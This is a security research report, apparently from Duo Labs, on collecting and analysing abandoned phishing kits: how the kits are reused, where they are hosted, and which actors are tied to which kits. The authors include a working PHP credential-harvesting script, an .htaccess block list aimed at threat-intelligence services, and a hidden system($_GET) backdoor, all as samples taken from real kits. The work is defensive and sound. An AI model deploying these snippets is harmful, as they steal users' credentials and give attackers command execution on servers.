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Just like stakeholders in any successful 

endeavor, even a criminal one, phishing 

attackers are always looking for ways to 

increase their return on investment. To that 

end, attackers often re-use phishing sites 

across separate campaigns by bundling 

site resources into a phishing kit, uploading 

that kit to a server and sending a new 

batch of emails.

Sometimes, however, the attackers get lazy 

and leave the phishing kits behind, allowing 

anyone—including security researchers—

to download them. In a month-long 

experiment, we hunted down more than 

3,200 unique phishing kits, tracked the 

actors behind the kits, identified kit re-use 

across sites and more.

Our research details the ways attackers 

reuse and repurpose the tools of their 

illicit trade and how they increasingly 

leverage HTTPS to deliver their attacks. 

The findings highlight the importance of 

vigilance to keep systems updated and 

establishing a defense-in-depth approach 

to mitigate phishing.

Phishing is 
a business…

and business 
is booming.
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1.0

Anatomy of a 
Phishing Kit
Before we dive into the results, it's important to talk 
a bit about how phishing kits work:

1.
The legitimate 
website is cloned

2.
The login page is 
changed to point to a 
credential-stealing script

3. 
The modified files are 
bundled into a zip file 
to make a phishing kit

4. 
The phishing kit 
is uploaded to the 
hacked website, 
files are unzipped

5. 
Emails are sent with 
links pointing to the 
new spoofed website
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To stand up a new phishing site, attackers first clone the legitimate site they want to spoof, 

then change the login form to point to a simple PHP script. The script collects credentials 

and either emails them to the attacker or logs them to a text file.

The core of this PHP script typically looks like this (taken from a phishing kit that spoofed 

an Office 365 login page):

<?
$ip = getenv("REMOTE_ADDR");
$message .= "-----------  ! +Account infoS+ !  -----------\n";
$message .= "Email Address        : ".$_POST['username']."\n";
$message .= "Password               : ".$_POST['passwd']."\n";
$message .= "IP Address             : ".$ip."\n";
$message .= "-----------  ! +nJoY+ !  -----------\n";
$send = "redacted@redacted.com";

$subject = "Office365 logs xD $ip";
$headers = "From:  [redacted]";
$headers .= $_POST['eMailAdd']."\n";
$headers .= "MIME-Version: 1.0\n";
$arr=array($send, $IP);
foreach ($arr as $send)
mail($send,$subject,$message,$headers);

header("Location: https://outlook.office.com");
?>

After stealing the credentials, the script redirects to the login page of the legitimate site 

where the victim assumes they simply entered their credentials incorrectly.

Once the contents of the phishing site are created, they are bundled into a .zip file for reuse 

across multiple servers and phishing campaigns. This is helpful for attackers, since phishing 

sites are often quickly shut down. This form of mass credential phishing is all about 

quantity, not quality.
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How to Track Down 
a Phishing Kit
The process of using a phishing kit is simple. The .zip file containing the cloned site is 

uploaded to a server (for example, a hacked Wordpress site), unzipped into a directory and 

phishing emails are sent out pointing to the new phishing site.

However, if an attacker fails to remove this .zip file, it's possible for anyone to download the 

kit and analyze its contents. This includes the structure of the kit, what information is being 

collected and, more importantly, where the information is sent.

We can use a couple of methods to find these leftover kits:

•  Checking for directory indexing - If the directories hosting the phishing kits have 

indexing enabled, it's easy for us to see the original kit (and sometimes multiple kits) 

left in the directory:

•  Checking for foldername.zip - Knowing that phishing kits are almost always .zip 

archives, we can sometimes find the kits even if directory indexing is disabled. We 

simply work our way up the directory structure making a manual request for foldername.

zip and downloading the file if it exists.

2.0

Casting a Wide Net

https://en.wikipedia.org/wiki/Webserver_directory_index
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Finding Live Phishing 
Samples
Sites like Phishtank and OpenPhish provide crowdsourced feeds of phishing URLs. For 

our experiment, we checked these feeds every 10 minutes and added new URLs to a 

queue. We defined a URL as "new" if we hadn't seen this particular scheme://host/path 

before. This leads to some URLs that are submitted with multiple paths but, in general, 

most URLs we found were unique. It's also important to note that not every URL processed 

is guaranteed to be a phishing URL. While the quality of crowdsourced feeds is generally 

good, contributors are free to submit any URL, resulting in some noise.

For each of these URLs, we recursively worked our way up each path looking for directory 

listings as well as for the foldername.zip format. We downloaded any kits we discovered 

and uploaded that data into Elasticsearch for further analysis with Kibana.

We collected samples for a month, then started digging into the results. This is  

what we found:

https://www.phishtank.com/
https://openphish.com/
https://www.elastic.co/products/elasticsearch
https://www.elastic.co/products/kibana
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After a month of running our script, we processed over 66,000 URLs and found more than 

7,800 phishing kits. Original phishing kits (and sometimes more than one) were available 

12% of the time. Of these, 3,200 phishing kits were unique, which tells us:

•  Multiple URLs with different paths are occasionally submitted to the threat intelligence 

aggregators resulting in the same kit being discovered multiple times.

• Some phishing kits are reused across multiple sites.

Now that we have a good dataset to work with, let’s dive into the results.

Phishing Kit Analysis

Maintaining Persistence

Attackers know that Phishtank, OpenPhish and countless other threat intelligence services 

aim to find and remove phishing sites quickly. In order to keep their phishing sites active as 

long as possible, attackers must take preventative measures. 

To avoid detection, the criminals frequently add a .htaccess file to the phishing kit that 

blocks connections based on HTTP request attributes. Many phishing kits we analyzed 

used .htaccess files that blocked IP ranges for threat intelligence services. This snippet 

of one .htaccess file blocks IP address ranges that resolve to Phishtank and other 

monitoring services:

deny from spyeyetracker.abuse.ch
deny from abuse.ch
deny from sophos.com
deny from amada.abuse.ch
deny from palevotracker.abuse.ch
deny from phishtank.com
deny from netcraft.com
deny from fortinet.com
deny from kaspersky.com

You can find the full .htaccess file here.

Our research discovered 185 unique .htaccess files. Each of these either blocks or allows 

a variety of IP ranges, hosts, and referrers. Many of the files share content, indicating some 

information sharing among attackers.

3.0

Phish in a Barrel

https://httpd.apache.org/docs/current/howto/htaccess.html
https://gist.github.com/jordan-wright/b2475cc3e1493a21a6b1b28659c0bd7d
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Another method used to maintain a foothold on the server is to include a PHP shell in the 

phishing kit which gives the ability to execute system commands on the server. This can 

serve as a beachhead for future attacks. We discovered numerous, well-known PHP shells 

in our dataset, including WSO and RC-shells:

WSO Shell

RC-Shell
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No Honor Among Thieves

Full PHP shells are common, but sometimes shell access is more subtle. As phishing kits 

are traded or sold among attackers, some enterprising actors take this opportunity to hide 

backdoor shells in the kits so they can reap the benefits of a compromised host without 

doing any of the work.

We mentioned the use of .htaccess files to block threat intelligence sources, but this 

functionality can also be offered in PHP scripts within the phishing kit. It turns out that these 

scripts are popular places for attackers to add a backdoor. For example, see if you can 

spot the backdoor in this code snippet from a file that claims to offer anti-bot persistence:

if(isset($_GET['useragent'])){echo"<h1>deny_agent(bot)=('Yandex, 
Baiduspider,Acunetix,crossdomain,wwwroot,Exabot,NimbleCrawler, 
Octopus,OutfoxBot,ProPowerBot</h1><pre>"; system($_
GET['useragent']);exit;} // 'Tor-exit' 'JennyBot-exit' 'Jyxobot-exit' 
'Microsoftbot-exit' 'Mozilla/3.Mozilla/2.01-exit' 'NetSpider-exit'

If you look closely, you'll see the call to system($_GET['useragent']), which executes 

any system command specified in the useragent GET parameter. This particular backdoor 

appeared more than 200 times in our results.
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Phishing Kit Reuse Across Sites
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100 20 30

Analyzing Kit Reuse
The purpose of phishing kits is to make it easy for attackers to reuse code across phishing 

sites, but how often do we actually see instances of reuse?

To measure this, we took the SHA-1 hash of every phishing kit we downloaded. Then, we 

counted every unique hostname found to be hosting this particular kit. The chart below 

shows that during our month long scan, most of the kits were only seen once. However, 

over 900 kits (approximately 27%) were seen on more than one host, indicating reuse. We 

found two kits in particular on more than 30 hosts!
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Why don’t we see a higher percentage of kit reuse? Perhaps because we were measuring 

based on the SHA-1 hash of the kit contents. A single change to just one file in the kit would 

appear as two separate kits even when they are otherwise identical. In the future, we may 

employ fuzzy matching to find similar kits based on file contents which may lead to an 

increase in identified reuse.

In addition, our scanning was only done over 30 days. It’s likely that if we continued our 

scanning for a longer period, we would see more instances of kit reuse as the same actors 

launched more campaigns.

We also searched our dataset to find sites that were hosting more than one phishing kit. 

This could indicate multiple campaigns run by the same actor, or multiple actors having 

compromised the same host.

The graph above shows shows that a majority of sites (89%) that were hosting a kit were 

only hosting one. However, we found numerous instances of sites hosting multiple, unique 

phishing kits, with one site hosting 58 samples containing everything from malware, PHP 

shells and miscellaneous spam and phishing files.

Sites Hosting Multiple Phishing Kits

1000

100 20 30 40 50 60

2000

3000
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Where are  
These Kits Hosted?
After reviewing the kits themselves, we turned our attention to the infrastructure hosting 

the phishing sites.

Specifically, we aggregated the different paths seen in phishing URLs. Three of the 

top 10 paths in our dataset indicate phishing sites being hosted on compromised 

Wordpress instances. However, the problem isn’t unique to Wordpress. Attackers looking 

to compromise unpatched, out-of-date systems frequently target widely-used content 

management systems. This is why it’s critical to keep such software up-to-date.

The industry trend toward increased use of HTTPS is also extending into phishing 

sites, with over 16% of our recorded samples served over HTTPS. This doesn’t indicate 

anything wrong with HTTPS, but security professionals will now need to adjust their 

recommendations for spotting phishing sites and reconsider how much trust is placed on 

the “secure” indicator in the browser.

3000

css

myaccount

home

wp-admin

js

images

signin

JhNjHuYuHjNbNhJ

wp-includes

wp-content

600 900 1200 1500

Top Paths Seen in Phishing URLs

https://letsencrypt.org/stats/
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Tracking Actors Across Kits
One of the most useful things we can learn from analyzing 

phishing kits is where credentials are being sent. By tracking 

email addresses found in phishing kits, we can correlate actors to 

specific campaigns and even specific kits.

It gets even better. Not only can we see where credentials are sent, 

but we also see where credentials claim to be sent from. Creators 

of phishing kits commonly use the “From” header like a signing 

card, letting us find multiple kits created by the same author.

To track actors across our dataset, we treated the problem like 

a graph, mapping connections between email addresses and the 

SHA-1 hash of the phishing kits. We then created a force-directed 

graph colored based on closely grouped nodes.

The graph shows that most of the email addresses we found 

(76%) mapped to only one phishing kit. However, the other 24% 

of addresses were found in multiple unique kits, which make up 

the clusters in the middle of the graph. These clusters allow us 

to see information about the likely creator of the original phishing 

kit, as well as information about who is using the kit in their 

phishing campaigns.

View full-size image here

https://duo.com/assets/img/blog/full_graph.min.svg
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One email address, wirez[@]googledocs[.]org, was found in more than 115 unique phishing 

kits spoofing multiple service providers. This email address was used in the “From” field in 

the emails sent to attackers containing stolen credentials. Analyzing a filtered, redacted 

version of our graph, we can see this code reuse across multiple attackers, since the 

recipient of the stolen credentials changes with almost every kit.

991e206ec7616aff2f5762a24d068ac3d56a4b4e

redacted-601@gmail.com

354c6cf114491f08f33cc79daad7b9f86d975da1

c1392ec63fbd4e0acd7dd32ddf78a48b7582df5c

282311aa5b5f199630b5af00a41191b9bdfcdd6b

1297e4bb2f26d6331cf0442c980dd018d3e4648f

redacted-2635@gmail.com

redacted-2335@gmail.com

c39f222f12979a48445d118e801db29a2b6cc828

5771f340c2ec43a935c0e8cc117b2319f8dc11c6

redacted-2633@gmail.com

redacted-3523@gmail.com

f085458d56cf655842232bf2086ea39b71a14a94

redacted-1728@jetapplication.com

redacted-722@gmail.com

redacted-648@gmail.com

redacted-3932@gmail.com

5b783cd1b780298c20bffb89394000178a4fde22

9175b181d7fcc116063156408e2ef1ac016101cd

redacted-1565@gmail.com

redacted-2370@mail2world.com

2c3c49e95090c15d72cf08c79ee231f435eecd16

d762b346d37a5a3be7a291af33c0a1a150f4dd9f

redacted-36@gmail.com

ad870bf9ec7181a7d8868e2f023f40ee1d392860

redacted-1666@yandex.com

6f791737e1e32dd3dd185006c4b9fdb463064755

0d2f90e35f20da2bba47ff78414f3847163646f7

redacted-1759@gmail.com

redacted-1048@gmail.com

redacted-3469@gmail.com

6e77a32941e3c65452e8d21385d88be593f94d38

redacted-532@gmail.com

b5b6a8970145080ab26487c1c104c9ca4250b83f

redacted-1731@gmail.com

redacted-1082@gmail.com

179c4ec61fbcae38f2709c36f0d00052c8adcede

redacted-3009@gmail.com

7ee68a314cb009197c8a5dd4a6e2091f2f96d759

94c2fccaaec9821a37a361a7e87121ec455b9183

a7098386ac790457ccbd44916997154b791c811f

redacted-3015@gmail.com

redacted-1443@gmail.com

redacted-3733@bk.ru

b2fef30c98413c9b3ae72100489bf71675cd0750

redacted-111@gmail.com

2acd3d5a07f31cf33ee165285e58f21dfd98d4c5

redacted-661@gmail.com

a3154ce06229c9d652b3b332ffc8e85382bf4008

d87f49ab22f84d531d771d560532b68dcb0d0794f8a213d230349e26414d767bb9692294ee1386d0

redacted-3590@gmail.com

redacted-773@gmail.com

redacted-3345@gmail.com

22c2757368fc84128cee68ab952b2970abdb8189

060c1eee7b992e673e52994a8305171b568278fa

841d8f3af7cc7b864f2aa19ba63dc20738c5dab3

3996cfe6286821cd0b753befb03b3f1572015392

redacted-3258@mxtoolbox.com

redacted-2791@gmail.com

df0f1950b8495f2a8b3ba7db94afbd25a7fecb9e

redacted-2929@gmail.com

redacted-3938@gmail.com

redacted-865@gmail.com

96c675963b1124dfe9c9eff2e1f12bf7aaeef6a6

ae1663471b794abf45a13bd847834db6f44c20cf

redacted-1915@gmail.com

redacted-3783@gmail.com

redacted-3622@gmail.com

redacted-2525@gmail.com

redacted-1782@gmail.com

361abbade685f5c1d87882c630ccba0ecb59531a

cc9f3f8915cf6ffcf904993a455212956a7d46c7

redacted-1462@gmail.com

1989276307f38f31a552a216029c39d25785d6e8

916ff58a1d2498a1c7f7006fca7cf0148588440b

redacted-3055@gmail.com

redacted-1215@outlook.com

d1a23fe8f128e50d93bf3ce03ae00c7a1f96b766

54db0fdcdf33bc3b15e3d18932e24816445e1f5f

7af57f921b3c8de1dcacf950d1f491be13d2043b

a9d91e80ade5d4bf3265968d6f344c76d06a1452

84c0660b71007abb3f1816bd46c1ccc7d572db85

5ddc581edc33e15d01d490c73a106771ccba4cfa

3d56108beff2751d57c0cb13e70b17c09079dda2

redacted-3900@gmail.com

8f7ebb22af8ac9c82a9a1fcdd0ff3c243d2d8091

7ec21b59edf3727cd0774081cb54c092e041747d

redacted-2714@gmail.com

redacted-2814@gmail.com

redacted-2416@gmail.com

redacted-1263@gmail.com

redacted-1042@gmail.com

redacted-872@gmail.com

redacted-3972@gmail.com

eeede0b0138fc0cbb675f529f7d6a8c4be39ed11

redacted-941@gmail.com

1e52814a54c9863548aefe7c7e09adc0047cd80c

2d93b21e05df0e40992aa4a404cb8935ba4c6deb

redacted-3920@gmail.com

79817dbf627a8faae86017bef6a202a943ee56be

996fab4b70e59eb7be2051ace77e0dd636ad61b0

redacted-1810@protonmail.com

redacted-723@gmail.com

redacted-793@gmail.com

redacted-2840@gmail.com

redacted-3556@gmail.com

redacted-1375@gmail.com

redacted-3629@gmail.com

525d48be4aa3c5ebf1b315f63354c69685c211b7

redacted-2159@gmail.com

redacted-81@gmail.com

redacted-2862@gmail.com

48148921a7c4c3112a407769b10000761a89b2bb

93f995d2799424d7e7344990198ef6790cfff046

redacted-3935@gmail.com

6f5e2a806a0dbab2caab061c5934afd50f9f28c2

redacted-1105@gmail.com

redacted-2497@gmail.com

8f9e99572cd73c62d45536e70122527080038228

5aa8d7ab1b49ea749e2a160ba632711d007b9623

redacted-2912@gmail.com

72deeec1f6368b5599078abd051d9735b0157644

785e6bcd06dcf7b1c828ca1513f5a683714c551a

970e989564b2f60a60c18706244cfa9f59ba3851

redacted-1447@gmail.com

108677460c05754f2d2bb6f57a1cd5e2f4c063bf

redacted-3224@gmail.com

redacted-1920@gmail.com

dacf386cc373961fd52fb88f6def5b291182e627

redacted-2621@gmail.com

082bb6aacb072ecb5d410db0116c9494f0956835

redacted-1606@gmail.com

e6bdeb90cdd6bf847f92600f50f5724b01da85a4

47513c4c9ad7544ee1cea8d7bd9711186af1033f

redacted-2853@gmail.com

redacted-3611@gmail.com

a6ccd53f8835839de537ad6d41d833c24ff78029

a11c0fde3e89454de565458e5edf15368b47518d

3e01854a7c3da6a4dbcbb9cedc24831064f82da6

6bef2c2f8b98ae8db7a1055d6060607be94040a0

redacted-3189@gmail.com

redacted-1873@gmail.com

4202a675afb89d5ae00fd66db39ee333226c4156

redacted-3019@gmail.com

27b4c426073a0eb6eaab0310217bfe25c173619e

d63b20a7a644f657239bc15e0306e8eb597496e1

36f1f448302fcdff75b66677931ef95d5177a19c

0e671db78d85998bd26d07d4d8b73132274034cd

redacted-1250@gmail.com

de6a219d5fb6b37528c0a588a2c1af13f4602690

16c4c7ab33b3eb92df4d5e8042ddfb35053c87cb

redacted-3634@gmail.com

74eb4612c898944cbbcca61bdcdcfde11a9b54ad

51e595f0393cd7c6ff901132e015126ac7460a32

04f44be415b3581f37bc8e8871d46d8015f236c9

e33343392e511f0142ff0f2140bbe28e7a27fc43

redacted-2844@gmail.com

d5c26df19209213d88d7334380d1dfdcf2d17db1

71b09427ea658fb1487ae909549c1be5f4075c6a

c84ac9a72d83f06a1afa358cf87e818f61087a36

5922d90e1a1e133299c5683caa31be69622d1f9d

8b632992af88e21a6015c64a701d89cd3f9de45d

redacted-1249@gmail.com

716e6bebb2989e1a544a8fae3af96ebe6213ee78

redacted-3343@outlook.com

149a74b9f015d9befccefc7392d1eaf165b8cf47

redacted-1583@gmail.com

b14040aae42f0e2547d9d2a5022a86ba0b429599

f8d54a2d051e59ae18fd9cea73f4004fc4ff3e7a

9cf720ba65ad95608368d069d52062be8d385148

redacted-2669@gmail.com

aa93cd445704e3e5570614ed2d27d4de5ab975dc

redacted-1857@yandex.com

redacted-109@gmail.com

redacted-1024@gmail.com

redacted-2938@gmail.com

5241f99475a07464fc9ea685d9443302c3df4c23

7278cf7809a4b394af7b7d2330092ac7c8dfb8ca

redacted-3802@hotmail.com

redacted-1117@gmail.com

redacted-1046@gmail.com

ae360dfd99be9c6e0917ff9c71f1c23a80d88dde

redacted-1814@gmail.com

redacted-3961@gmail.com

redacted-3928@gmail.com

redacted-360@ymail.com

e55eaf0fd2c5e8f5a13f6d185fc2a956a82548d7

redacted-1932@gmail.com

redacted-3762@gmail.com

redacted-3369@gmail.com

redacted-3210@services-mail.com

redacted-2905@hotmail.com

b19550003fd43e5d8a186b6aee9152f235587074

redacted-1485@gmail.com

redacted-2866@gmail.com

redacted-141@gmail.com

redacted-668@gmail.com

redacted-2215@gmail.com

redacted-384@gmail.com

redacted-2824@gmail.com

redacted-1588@gmail.com

redacted-2568@gmail.com

redacted-408@gmail.com

redacted-936@gmail.com

d867d24b2619e088f525b7c61a2209f6de4bffb3

redacted-2691@gmail.com

redacted-400@gmail.com

51efeed847e9b51caa494b9a7ac6444226a9abed

1734f8294252597f428caedb8a8603af30b0457b

fed59b15e9666d4e8904a0e743cc67842215bd2d

redacted-1444@yandex.com

27cd49b8e2ebb4fa0c5b0e494201aef2e0b09688

redacted-2481@gmail.com

48e2fd4185ef5fe6e919d6c83c831e0aeef5fc00

redacted-1906@gmail.com

redacted-2036@gmail.com.com

redacted-3174@gmail.com

82a3a81b5532d4424eec9d38fe73dda343ea0ea1

3e24c325823dce0ef09ff6097bbefbf2ff4eff82 redacted-2352@gmail.com

cbc36767b19bec27df992f25a5d48dfde6b6defb

ec7517252b7a6a382dec7a712d11685856184320

redacted-3700@gmail.com
redacted-2928@gmail.com

8e297fbf5d4040c96256a2c8270b0f578771844d

228ee4d19f5d7bead1f1c22c6c818fd859008999

redacted-2745@gmail.com

redacted-3514@gmail.com

redacted-1537@gmail.com

10ecade793b48404cce8b6af45e71c6febd8eab8

redacted-368@gmail.com

f0bb0c16590afe436b260e8b7c796dbc307b8d4f

a2c86fa2b3bb2f2f2a1c03882110ef081acf8406

bb10530d0ca4590431dfcab780870c0097b22560

81a24c6025c1de9c383725961c4d5b19f84130f8

958e82b27a228f2d4c1d5fdfa5a46cf84e362c49

e6e9919d6a5bb3d51402403ce91831acf158a0fd

78579c4b459c42deffd9b71b03e9e8f52269c037

redacted-3064@gmail.com

wirez@googledocs.org

View full-size image here

https://duo.com/assets/img/blog/wirez.min.svg
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It’s clear the phishing economy is alive and well. This research offers a glimpse into 

the methods and tools attackers use to make their operations efficient. As a security 

practitioner, you can use these same techniques to track down phishing kits targeting your 

organization, determining what information is being stolen and where the information is 

being sent.

We’d like to thank both OpenDNS (operators of Phishtank) and OpenPhish for their 

excellent community-driven feeds. This work wouldn’t be possible without the great 

services they provide to the security industry.

It’s important to note that all of the phishing kits we analyzed aimed to steal credentials 

for later reuse. One of the best things defenders can do to reduce the impact of 

stolen credentials is to set up MFA for every external-facing application used by your 

organization. Additionally, you can use the free Duo Insight phishing tool to test your 

organization’s exposure to phishing attacks.

Get the Code
We believe in sharing code so others can replicate our results. If you’re interested in the 

code we wrote to parse through the community URL feeds and collect these phishing kits, 

you can find it on Github.

4.0

Conclusion

https://www.opendns.com/
https://www.phishtank.com/
https://openphish.com/
https://duo.com/product/trusted-users/two-factor-authentication
https://insight.duo.com/
https://github.com/duo-labs/phish_collect
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